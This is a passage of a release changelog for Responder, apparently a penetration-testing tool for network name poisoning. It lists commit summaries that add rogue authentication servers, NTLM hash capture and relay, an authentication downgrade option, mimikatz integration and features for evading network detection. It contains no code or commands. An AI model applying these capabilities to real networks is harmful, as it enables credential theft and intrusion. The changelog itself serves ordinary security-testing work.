- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx).
- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx).
- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx).
## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26
<small>[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0)</small>
### Added
- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx).
- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis).
- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis).
- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis).
### Fixed
- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx).
## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19
<small>[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0)</small>
### Added
- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx).
## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17
<small>[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0)</small>
### Added
- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx).
### Removed
- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx).
## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12
<small>[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0)</small>
### Added
- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx).
- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx).
- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx).
- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx).
- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx).
### Removed
- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx).
- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx).
- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx).
- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx).
- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx).
## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08
<small>[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0)</small>
### Added
- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx).
- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx).
### Fixed
- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan).
- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers).
- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark).
## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28
<small>[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0)</small>
### Fixed
- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx).
## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19
<small>[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0)</small>
### Added
- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam).
### Fixed
- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun).
## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09
<small>[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0)</small>
### Added
- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx).
## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17
<small>[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0)</small>
### Added
- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx).
- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A).
### Fixed
- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon).
- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx).
- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin).
- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin).
- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena).
### Removed
- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx).
## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20
<small>[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9)</small>
### Added
- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx).
- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT).
- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx).
## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05
<small>[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8)</small>
### Changed
- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx).
## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05
<small>[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7)</small>
### Added
- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly).
- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley).
- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx).
### Fixed
- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx).
- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404).
- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos).
## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29
<small>[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6)</small>
### Fixed
- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx).
### Removed
- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx).
## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18
<small>[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5)</small>
## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18
<small>[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4)</small>
### Added
- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx).
- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko).
### Fixed
- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx).
- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts).
- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos).
## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03
<small>[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3)</small>
### Added
- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx).
## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03
<small>[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2)</small>
### Added
- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx).
- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx).
- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx).
- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx).
### Removed
- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx).
## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18
<small>[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1)</small>
### Added
- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx).
### Fixed
- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx).
## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12
<small>[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0)</small>
### Added
- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx).
### Fixed
- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx).
- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx).
- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx).
### Changed
- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx).
## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06
<small>[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8)</small>
### Added
- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx).
## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05
<small>[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7)</small>
### Added
- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx).
### Fixed
- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx).
## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05
<small>[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6)</small>
## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03
<small>[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5)</small>
### Added
- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx).
- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx).
### Removed
- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx).
## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12
<small>[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4)</small>
## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12
<small>[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3)</small>
### Added
- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx).
## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12
<small>[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2)</small>
### Added
- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx).
- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx).
### Removed
- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx).
## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11
<small>[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1)</small>
## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11
<small>[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2)</small>
### Added
- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx).
- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx).
### Removed
- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx).
## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09
<small>[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1)</small>
### Added
- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx).
- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie).
- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger).
- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert).
- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver).
- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx).
### Fixed
- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie).
- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger).
- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS).
- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx).
- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx).
- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx).
- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx).
- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz).
- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn).
### Changed
- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight).
- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx).
- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut).
- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut).
### Removed
- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie).
## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11
<small>[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0)</small>
### Added
- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx).
- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev).
### Fixed
- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx).
- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r).
- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r).
- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev).
- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot).
### Changed
- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r).
## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06
<small>[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4)</small>
### Added
- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx).
## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27
<small>[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3)</small>
### Added
- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx).
- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx).
## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26
<small>[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2)</small>
### Added
- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx).
### Fixed
- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx).
## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16
<small>[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0)</small>
### Fixed
- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx).
## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28
<small>[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9)</small>
### Fixed
- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx).
### Removed
- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx).
## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22
<small>[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8)</small>
### Added
- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx).
## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16
<small>[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7)</small>
### Added
- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx).
- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx).
## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01
<small>[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6)</small>
### Fixed
- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx).
## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22
<small>[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5)</small>
### Added
- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx).
## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22
<small>[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4)</small>
### Added
- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx).
## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21
<small>[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3)</small>
### Fixed
- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx).
## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06
<small>[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2)</small>
### Added
- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx).
## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30
<small>[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1)</small>
### Added
- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx).
- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx).
- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx).
- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx).
